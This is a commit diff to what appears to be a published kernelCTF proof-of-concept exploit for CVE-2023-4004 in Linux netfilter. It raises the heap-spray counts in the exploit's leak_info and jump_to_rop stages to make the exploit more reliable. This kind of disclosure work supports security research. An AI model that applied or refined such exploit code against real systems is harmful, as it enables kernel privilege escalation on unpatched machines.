Change cos exploit

google · Sep 12, 2023 · cc583e8 · cc583e8
1 parent 7f568fd
commit cc583e8
Showing 1 changed file with 4 additions and 4 deletions.
diff --git a/pocs/linux/kernelctf/CVE-2023-4004_lts_cos_mitigation/exploit/cos-105-17412.101.17/exploit.c b/pocs/linux/kernelctf/CVE-2023-4004_lts_cos_mitigation/exploit/cos-105-17412.101.17/exploit.c
@@ -204,11 +204,11 @@ int leak_info(struct nl_sock * socket){
     new_setelem(socket,SET_TABLE,set_name,a,0x88+3);
     elem_flush(socket,SET_TABLE,set_name);
     puts("Start spray tables");
-    spray_tables(socket,0x400, a, 0xd8);
+    spray_tables(socket,0x600, a, 0xd8);
     puts("Finish spray tables");
     elem_flush(socket,SET_TABLE,set_name);
     puts("Start spray objects");
-    spray_objects(socket, 0x400);
+    spray_objects(socket, 0x600);
     puts("Finish spray objects");
 
     nl_socket_modify_cb(socket,NL_CB_MSG_IN, NL_CB_CUSTOM, nl_callback_find_target_table, NULL);
@@ -283,11 +283,11 @@ int jump_to_rop(struct nl_sock * socket){
     elem_flush(socket,SET_TABLE,set_name);
 
     puts("Start spray tables");
-    spray_tables(socket,0x400, a, 0xd8);
+    spray_tables(socket,0x600, a, 0xd8);
     puts("Finish spray tables");
     elem_flush(socket,SET_TABLE,set_name);
     puts("Start spray objects");
-    spray_objects_with_udata(socket, 0x400, ops, 0x100);
+    spray_objects_with_udata(socket, 0x600, ops, 0x100);
     puts("Finish spray objects");
 
     nl_socket_modify_cb(socket,NL_CB_MSG_IN, NL_CB_CUSTOM, nl_callback_find_target_table, NULL);